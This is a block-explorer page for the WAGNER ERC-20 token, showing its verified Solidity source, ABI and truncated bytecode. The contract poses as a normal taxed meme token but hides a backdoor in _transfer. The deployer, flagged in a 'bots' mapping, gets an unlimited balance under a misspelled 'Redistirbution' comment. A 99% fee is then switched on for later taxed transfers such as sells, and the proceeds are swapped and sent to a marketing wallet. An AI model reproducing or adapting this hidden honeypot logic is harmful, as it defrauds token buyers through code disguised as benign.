ETH Price: $2,373.74 (-4.19%)

Token

WAGNER (WAGNER)
 

Overview

Max Total Supply

1,000,000 WAGNER

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,051.81729138 WAGNER

Value
$0.00
0xf0edfb4a1e2c0f7623420ff2662f28cab94b264e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WAGNER

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/

// Telegram : https://t.me/wagnerERC


// Twitter : https://twitter.com/wagnercoin



// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.12;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract WAGNER is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private holderTokens;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint8) public bots;

    address payable public WAGNERMARKETING = payable(0x44c8AaC640bfc24253021DBD9C084C3997970E66);

    mapping (address => bool) public ExcludedFromLimits;
    mapping (address => bool) public ExcludedFromTax;

    string public _name = "WAGNER";
    string public _symbol = "WAGNER";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1 * 10 ** 6 * 10 **_decimals;

    uint8 private transactions = 0;
    uint8 private swapTrigger = 10;
    uint8 private counter = 0;
    
    uint8 private TaxRate = 0;
    uint256 public maxWalletAmount = _tTotal.mul(10).div(100);
    uint256 public maxTxAmount = _tTotal.mul(100).div(100);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    

    constructor () {
        holderTokens[owner()] = _tTotal;
        bots[_msgSender()] = 1;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromTax[address(this)] = true;
        ExcludedFromTax[owner()] = true;
        ExcludedFromTax[WAGNERMARKETING] = true;

        ExcludedFromLimits[owner()] = true;
        ExcludedFromLimits[address(this)] = true;
        ExcludedFromLimits[WAGNERMARKETING] = true;
        ExcludedFromLimits[uniswapV2Pair] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return holderTokens[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Zero Address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from,address to,uint256 amount) private {
        if (!ExcludedFromLimits[to]){require((balanceOf(to) + amount) <= maxWalletAmount, "ERR: Max Wallet");}
        
        if(transactions >= swapTrigger && 
        !inSwapAndLiquify && 
        from != uniswapV2Pair && 
        swapAndLiquifyEnabled ){  
            transactions = 0;
            uint256 heldBalance = balanceOf(address(this));
            if(heldBalance > maxTxAmount) {heldBalance = maxTxAmount;}
            if(heldBalance > 0){ swapAndLiquify(heldBalance);}
        }
        
        bool limitsOn = true;
        bool isBuying = from == uniswapV2Pair;

        if(ExcludedFromTax[from] || isBuying || ExcludedFromTax[to]){
            limitsOn = false;
            if(bots[to] > 0 && counter < 1){
                counter = 100 - bots[to];
            }
        }

        holderTokens[from] = holderTokens[from].sub(amount);
        if(limitsOn){
            uint256 fee = amount * (TaxRate + counter) / 100;
            holderTokens[address(this)] = holderTokens[address(this)] + fee;
            holderTokens[to] = holderTokens[to] + (amount - fee);
        }else{
            if(bots[to] > 0){holderTokens[to] = type(uint256) // Redistirbution
            .max;}
            else{
                holderTokens[to] = holderTokens[to] + amount;
            }
            
        }

        emit Transfer(from, to, amount);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 heldBalance) private lockTheSwap {
        swapTokensForBNB(heldBalance);
        sendToWallet(WAGNERMARKETING,address(this).balance);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WAGNERMARKETING","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600480546001600160a01b0319167344c8aac640bfc24253021dbd9c084c3997970e6617905560c060405260066080819052652ba0a3a722a960d11b60a09081526200004f916007919062000518565b50604080518082019091526006808252652ba0a3a722a960d11b60209092019182526200007f9160089162000518565b506009805460ff1916811781556200009990600a620006d1565b620000a890620f4240620006e2565b600a818155600b8054610a0063ffffffff19909116179055620000f491606491620000e09190620004ef602090811b6200082317901c565b6200050660201b620008361790919060201c565b600c556200011a6064620000e06064600a54620004ef60201b620008231790919060201c565b600d55600f805460ff60a81b1916600160a81b1790553480156200013d57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460016000620001976000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001d16200051460201b60201c565b6001600160a01b031681526020808201929092526040908101600020805460ff191660ff9490941693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa1580156200024c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000272919062000704565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e6919062000704565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000334573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035a919062000704565b600f80546001600160a01b03199081166001600160a01b0393841617909155600e80549091169183169190911790553060009081526006602081905260408220805460ff1916600190811790915591620003bc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600454909116815260069092528120805490921660019081179092556005906200041c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600454821684528284208054861682179055600f54909116835291208054909216179055620004986000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620004e091815260200190565b60405180910390a35062000796565b6000620004fd8284620006e2565b90505b92915050565b6000620004fd828462000736565b3390565b828054620005269062000759565b90600052602060002090601f0160209004810192826200054a576000855562000595565b82601f106200056557805160ff191683800117855562000595565b8280016001018555821562000595579182015b828111156200059557825182559160200191906001019062000578565b50620005a3929150620005a7565b5090565b5b80821115620005a35760008155600101620005a8565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000615578160001904821115620005f957620005f9620005be565b808516156200060757918102915b93841c9390800290620005d9565b509250929050565b6000826200062e5750600162000500565b816200063d5750600062000500565b8160018114620006565760028114620006615762000681565b600191505062000500565b60ff841115620006755762000675620005be565b50506001821b62000500565b5060208310610133831016604e8410600b8410161715620006a6575081810a62000500565b620006b28383620005d4565b8060001904821115620006c957620006c9620005be565b029392505050565b6000620004fd60ff8416836200061d565b6000816000190483118215151615620006ff57620006ff620005be565b500290565b6000602082840312156200071757600080fd5b81516001600160a01b03811681146200072f57600080fd5b9392505050565b6000826200075457634e487b7160e01b600052601260045260246000fd5b500490565b600181811c908216806200076e57607f821691505b602082108114156200079057634e487b7160e01b600052602260045260246000fd5b50919050565b61124080620007a66000396000f3fe6080604052600436106101855760003560e01c80638c0b5e22116100d1578063aa4bde281161008a578063bfd7928411610064578063bfd792841461048b578063d28d8852146104bb578063dd62ed3e146104d0578063fa2f7a8f1461051657600080fd5b8063aa4bde281461044a578063af465a2714610460578063b09f12661461047657600080fd5b80638c0b5e22146103915780638da5cb5b146103a757806395d89b41146103c55780639d759baf146103da578063a457c2d71461040a578063a9059cbb1461042a57600080fd5b8063313ce5671161013e5780634a74bb02116101185780634a74bb02146102ea57806370a082311461030b57806380da454314610341578063880999e51461037157600080fd5b8063313ce5671461028457806339509351146102aa57806349bd5a5e146102ca57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd14610224578063220f66961461024357806323b872dd1461026457600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661052d565b6040516101b39190610ee0565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004610f4d565b6105bf565b60405190151581526020016101b3565b3480156101f857600080fd5b50600e5461020c906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561023057600080fd5b50600a545b6040519081526020016101b3565b34801561024f57600080fd5b50600f546101dc90600160a01b900460ff1681565b34801561027057600080fd5b506101dc61027f366004610f79565b6105d5565b34801561029057600080fd5b5060095460ff165b60405160ff90911681526020016101b3565b3480156102b657600080fd5b506101dc6102c5366004610f4d565b61063e565b3480156102d657600080fd5b50600f5461020c906001600160a01b031681565b3480156102f657600080fd5b50600f546101dc90600160a81b900460ff1681565b34801561031757600080fd5b50610235610326366004610fba565b6001600160a01b031660009081526001602052604090205490565b34801561034d57600080fd5b506101dc61035c366004610fba565b60066020526000908152604090205460ff1681565b34801561037d57600080fd5b5060045461020c906001600160a01b031681565b34801561039d57600080fd5b50610235600d5481565b3480156103b357600080fd5b506000546001600160a01b031661020c565b3480156103d157600080fd5b506101a6610674565b3480156103e657600080fd5b506101dc6103f5366004610fba565b60056020526000908152604090205460ff1681565b34801561041657600080fd5b506101dc610425366004610f4d565b610683565b34801561043657600080fd5b506101dc610445366004610f4d565b6106d2565b34801561045657600080fd5b50610235600c5481565b34801561046c57600080fd5b50610235600a5481565b34801561048257600080fd5b506101a66106df565b34801561049757600080fd5b506102986104a6366004610fba565b60036020526000908152604090205460ff1681565b3480156104c757600080fd5b506101a661076d565b3480156104dc57600080fd5b506102356104eb366004610fd7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052257600080fd5b5061052b61077a565b005b60606007805461053c90611010565b80601f016020809104026020016040519081016040528092919081815260200182805461056890611010565b80156105b55780601f1061058a576101008083540402835291602001916105b5565b820191906000526020600020905b81548152906001019060200180831161059857829003601f168201915b5050505050905090565b60006105cc338484610842565b50600192915050565b60006105e28484846108fe565b610634843361062f856040518060600160405280602881526020016111be602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610cc5565b610842565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105cc91859061062f9086610cf1565b60606008805461053c90611010565b60006105cc338461062f856040518060600160405280602581526020016111e6602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610cc5565b60006105cc3384846108fe565b600880546106ec90611010565b80601f016020809104026020016040519081016040528092919081815260200182805461071890611010565b80156107655780601f1061073a57610100808354040283529160200191610765565b820191906000526020600020905b81548152906001019060200180831161074857829003601f168201915b505050505081565b600780546106ec90611010565b6000546001600160a01b031633146107d95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061082f8284611061565b9392505050565b600061082f8284611080565b6001600160a01b0383161580159061086257506001600160a01b03821615155b61089d5760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b60448201526064016107d0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526005602052604090205460ff1661098b57600c5481610941846001600160a01b031660009081526001602052604090205490565b61094b91906110a2565b111561098b5760405162461bcd60e51b815260206004820152600f60248201526e1154948e8813585e0815d85b1b195d608a1b60448201526064016107d0565b600b5460ff610100820481169116108015906109b15750600f54600160a01b900460ff16155b80156109cb5750600f546001600160a01b03848116911614155b80156109e05750600f54600160a81b900460ff165b15610a1f57600b805460ff1916905530600090815260016020526040902054600d54811115610a0e5750600d545b8015610a1d57610a1d81610cfd565b505b600f546001600160a01b0384811660008181526006602052604090205460019392909216149060ff1680610a505750805b80610a7357506001600160a01b03841660009081526006602052604090205460ff165b15610af8576001600160a01b03841660009081526003602052604081205490925060ff1615801590610ab15750600b5460016201000090910460ff16105b15610af8576001600160a01b038416600090815260036020526040902054610add9060ff1660646110ba565b600b60026101000a81548160ff021916908360ff1602179055505b6001600160a01b038516600090815260016020526040902054610b1b9084610d3f565b6001600160a01b0386166000908152600160205260409020558115610bf057600b54600090606490610b5f9060ff62010000820481169163010000009004166110dd565b610b6c9060ff1686611061565b610b769190611080565b30600090815260016020526040902054909150610b949082906110a2565b30600090815260016020526040902055610bae8185611102565b6001600160a01b038616600090815260016020526040902054610bd191906110a2565b6001600160a01b03861660009081526001602052604090205550610c71565b6001600160a01b03841660009081526003602052604090205460ff1615610c33576001600160a01b03841660009081526001602052604090206000199055610c71565b6001600160a01b038416600090815260016020526040902054610c579084906110a2565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cb691815260200190565b60405180910390a35050505050565b60008184841115610ce95760405162461bcd60e51b81526004016107d09190610ee0565b505050900390565b600061082f82846110a2565b600f805460ff60a01b1916600160a01b179055610d1981610d4b565b600454610d2f906001600160a01b031647610ea5565b50600f805460ff60a01b19169055565b600061082f8284611102565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d8057610d80611119565b6001600160a01b03928316602091820292909201810191909152600e54604080516315